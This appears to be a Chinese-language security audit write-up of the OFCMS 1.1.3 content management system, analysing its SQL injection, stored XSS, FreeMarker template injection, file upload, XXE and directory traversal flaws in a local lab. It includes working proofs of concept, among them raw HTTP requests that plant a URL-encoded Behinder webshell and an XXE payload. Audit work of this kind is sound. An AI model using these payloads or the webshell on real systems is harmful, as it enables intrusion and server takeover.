0x00 环境搭建
环境配置
下载地址:https://gitee.com/oufu/ofcms/repository/archive/V1.1.3?format=zip
在本地mysql
创建数据库ofcms
,导入ofcms-v1.1.3.sql
将db-config.properties
复制一份为db.properties
,并修改数据库连接
配置tomcat即可
项目图片不可见,修改idea
项目路径即可
项目地址
http://localhost:8088/ofcms_admin/admin/index.html
http://localhost:8088/ofcms_admin,admin/123456
0x01 漏洞分析
拿到框架先进行以下
pom.xml
的依赖dependency
ofcms-V1.1.3\ofcms-admin\src\main\webapp\WEB-INF\web.xml
过滤器filter
全局搜索关键字,配合网页、功能点,灰盒审计
SQL注入漏洞
poc
update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0)
漏洞点
漏洞位置:后台 => 系统设置 => 代码生成 => 增加
com/ofsoft/cms/admin/controller/system/SystemGenerateController#create()
分析利用
通过getPara
函数获取参数,再进入update
方法
进入SQL
语句执行处
代码中使用了PreparedStatement
预编译,由于传入的是整条sql
语句,导致预编译也不生效。并且没有对字符串sql
进行单独的过滤处理,因此可以使用报错注入
存储型XSS
poc
<img src=1 onmouseover="alert(1)">
漏洞点
漏洞位置:新闻中心 => 新闻 => 用户评论
com/ofsoft/cms/api/v1/CommentApi#CommentApi()
分析利用
@ApiMapping(method = RequestMethod.GET)
:该方法是API
的端点,并且只接受HTTP GET
请求
@ParamsCheck
:用于参数检查。确保在调用此API
端点时必须提供某些参数,否则会报错
在Java Servlet
中,getParamsMap()
方法用于获取HTTP
请求参数,这些参数以键值对的形式存在。params
现在是一个Map
对象,其中包含了由getParamsMap()
方法返回的所有键值对。
params
:是一个Map
对象,put
:是Map
接口的一个方法,用于向Map
中添加或更新一个键值对。getRequest()
方法返回一个HTTP
请求对象,而IpKit.getRealIp()
方法则从该请求中提取出实际IP地址。
先进入Db
对象的getSqlPara()方法
sqlPara.setSql(template.renderToString(data));
:调用模板的renderToString
方法,将映射数据传递给它,并将返回的字符串设置为sqlPara
对象的sql
属性。
将模板中的占位符替换为实际的参数,然后返回一个封装了完整SQL语句的SqlPara对象。有助于防止SQL注入攻击,因为参数化的查询可以确保用户提供的输入不会被解释为SQL代码的一部分,而是作为数据来处理。
接着进入Db
对象的update()
方法
执行数据库更新操作前,并没有对参数进行过滤处理
成功弹窗
漏洞点
/ofcms-admin/admin/comn/service/update.json?sqlid=cms.form.save
未进行过滤
FreeMarker模板注入
poc
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
漏洞点
漏洞位置:后台 => 模板设置 => 模板文件 => 修改文件
com/ofsoft/cms/admin/controller/cms/TemplateController#save()
分析利用
在pom.xml
中存在FreeMarker
依赖,该模板引擎存在模板注入,将poc
写入index.html
中
访问首页
文件上传
poc
POST /ofcms-admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8081
Content-Length: 2008
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8081/ofcms-admin/admin/cms/template/getTemplates.html?file_name=index.html&dir=/&dir_name=/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=10FC815B3D544B665912AD25499C6E6A
Connection: close
file_path=C%3A%5CUsers%5CHW%5CDocuments%5C%E6%96%87%E6%A1%A3%5C%E8%BD%AF%E4%BB%B6%5C%E5%B7%A5%E5%85%B7%5C0%5Cjava%E5%B7%A5%E5%85%B7%5Ctomcat%5Capache-tomcat-8.5.93%5Cwebapps%5Cofcms-admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=../../../static/shell.jsp&file_content=%3c%25%40%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%78%2e%63%72%79%70%74%6f%2e%2a%2c%6a%61%76%61%78%2e%63%72%79%70%74%6f%2e%73%70%65%63%2e%2a%22%25%3e%3c%25%21%63%6c%61%73%73%20%55%20%65%78%74%65%6e%64%73%20%43%6c%61%73%73%4c%6f%61%64%65%72%7b%55%28%43%6c%61%73%73%4c%6f%61%64%65%72%20%63%29%7b%73%75%70%65%72%28%63%29%3b%7d%70%75%62%6c%69%63%20%43%6c%61%73%73%20%67%28%62%79%74%65%20%5b%5d%62%29%7b%72%65%74%75%72%6e%20%73%75%70%65%72%2e%64%65%66%69%6e%65%43%6c%61%73%73%28%62%2c%30%2c%62%2e%6c%65%6e%67%74%68%29%3b%7d%7d%25%3e%3c%25%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%4d%65%74%68%6f%64%28%29%2e%65%71%75%61%6c%73%28%22%50%4f%53%54%22%29%29%7b%53%74%72%69%6e%67%20%6b%3d%22%65%34%35%65%33%32%39%66%65%62%35%64%39%32%35%62%22%3b%2f%2a%e5%c6%a5%3a%de%a5%c6%01%33%32%4d%6d%64%35%3c%84%4d%31%36%4d%0c%d8%a4%de%a5%c6%01%72%65%62%65%79%6f%6e%64%2a%2f%73%65%73%73%69%6f%6e%2e%70%75%74%56%61%6c%75%65%28%22%75%22%2c%6b%29%3b%43%69%70%68%65%72%20%63%3d%43%69%70%68%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%22%41%45%53%22%29%3b%63%2e%69%6e%69%74%28%32%2c%6e%65%77%20%53%65%63%72%65%74%4b%65%79%53%70%65%63%28%6b%2e%67%65%74%42%79%74%65%73%28%29%2c%22%41%45%53%22%29%29%3b%6e%65%77%20%55%28%74%68%69%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%43%6c%61%73%73%4c%6f%61%64%65%72%28%29%29%2e%67%28%63%2e%64%6f%46%69%6e%61%6c%28%6e%65%77%20%73%75%6e%2e%6d%69%73%63%2e%42%41%53%45%36%34%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%42%75%66%66%65%72%28%72%65%71%75%65%73%74%2e%67%65%74%52%65%61%64%65%72%28%29%2e%72%65%61%64%4c%69%6e%65%28%29%29%29%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%65%71%75%61%6c%73%28%70%61%67%65%43%6f%6e%74%65%78%74%29%3b%7d%25%3e
漏洞点
漏洞位置:后台 => 模板设置 => 模板文件 => 修改文件
com/ofsoft/cms/admin/controller/cms/TemplateController#save()
,此save()
方法还存在任意文件上传漏洞
分析利用
修改file_content
为冰蝎马的url
编码,修改file_name
为…/…/…/static/shell.jsp
,上传成功
冰蝎连接成功
XXE漏洞
漏洞点
com.ofsoft.cms.admin.controller.ReprotAction#expReport()
分析
断点触发方式
没有对传入的参数进行过滤,文件后缀限制为.jrxml
public void expReport() {
HttpServletResponse response = getResponse();
// 获取响应包
Map<String, Object> hm = getParamsMap();
// 将获取到的内容 赋值给Map类型的数据集hm
String jrxmlFileName = (String) hm.get("j");
// 将hm的“j”键的值转换为字符串
jrxmlFileName = "/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml";
// 拼接路径+文件名+后缀
File file = new File(PathKit.getWebRootPath() + jrxmlFileName);
// 创建一个file实例
String fileName = (String) hm.get("reportName");
// 创建一个filename字符串,值为请求中的reportName的值
log.info("报表文件名[{}]", file.getPath());
// 使用日志工具类(可能是SLF4J、Log4j等)记录一条信息,显示报表文件的完整路径。
OutputStream out = null;
步入getParamsMap()
方法,将获取到的HTTP
请求参数赋值给params
变量,内容没有进行过滤
// 将一个 Map<String, String[]> 类型的参数映射转换为一个 Map<String, Object> 类型的映射。
public Map<String, Object> getParamsMap() {
Map<String, String[]> params = getParaMap();
// 调用getParaMap()方法,将获取到请求参数的键值,赋值给parmas
Map<String, Object> result = new ConcurrentHashMap<String, Object>();
// 定义一个map类型数据集的result参数
for (String value : params.keySet()) {
// for循环遍历参数映射的键集合
result.put(value, params.get(value)[0]);
// 全部写入retult map类型数据
}
return result;
// 返回 result map类型数据集
}
步入JasperCompileManager.compileReport()
方法
接着又调用了JRXmlLoader.load()
方法
最后跟到JRXmlLoader.loadXML()
方法,在loadXML
方法中调用了Digester
类的parse
参数,解析XML
文档内容,默认没有禁用外部实体解析,所以存在XXE
漏洞
this.digester.push(this);
:将当前对象this
推送到digester
的堆栈上。this.digester.parse(is)
:调用digester
的parse
方法来解析XML
输入流is
。is
通常是一个InputStream
对象,它包含了要解析的XML
数据。
利用
利用前面的文件上传漏洞,上传一个后缀名为jrxml
的文件,内容如下:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:7777">%xxe; ]>
// %xxe; 实体定义后是否需要在其他地方被扩展或使用,需要加上%xxe;,反之则不用加%xxe;
POST /ofcms-admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8081
Content-Length: 503
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8081/ofcms-admin/admin/cms/template/getTemplates.html?file_name=index.html&dir=/&dir_name=/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3E93FB67712DC089E04F3DCCA9D1E968
Connection: close
file_path=C%3A%5CUsers%5CHW%5CDocuments%5C%E6%96%87%E6%A1%A3%5C%E8%BD%AF%E4%BB%B6%5C%E5%B7%A5%E5%85%B7%5C0%5Cjava%E5%B7%A5%E5%85%B7%5Ctomcat%5Capache-tomcat-8.5.93%5Cwebapps%5Cofcms-admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=../../../static/xxe.jrxml&file_content=%3c%21%44%4f%43%54%59%50%45%20%66%6f%6f%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%37%37%37%37%22%3e%25%78%78%65%3b%20%5d%3e
访问http://localhost:8081/ofcms-admin/admin/reprot/expReport?j=../../static/xxe
触发漏洞
目录穿越漏洞
poc
../../../../../../../../../../../../
漏洞点
漏洞位置:后台 => 模板设置 => 模板文件 => 模板目录
分析利用
选择目录抓包
步入32
行getPara()
方法
将up_dir
赋值给result
result
为空,"".equals(result)
为真,!"".equals(result)
为假,返回defaultValue
值,也就是/
result
不为空,则返回result
传入的路径没有经过过滤直接创建File
对象pathFile
遍历pathFile
路径下的内容
0x03 参考链接
https://forum.butian.net/share/1229
https://developer.aliyun.com/article/1161200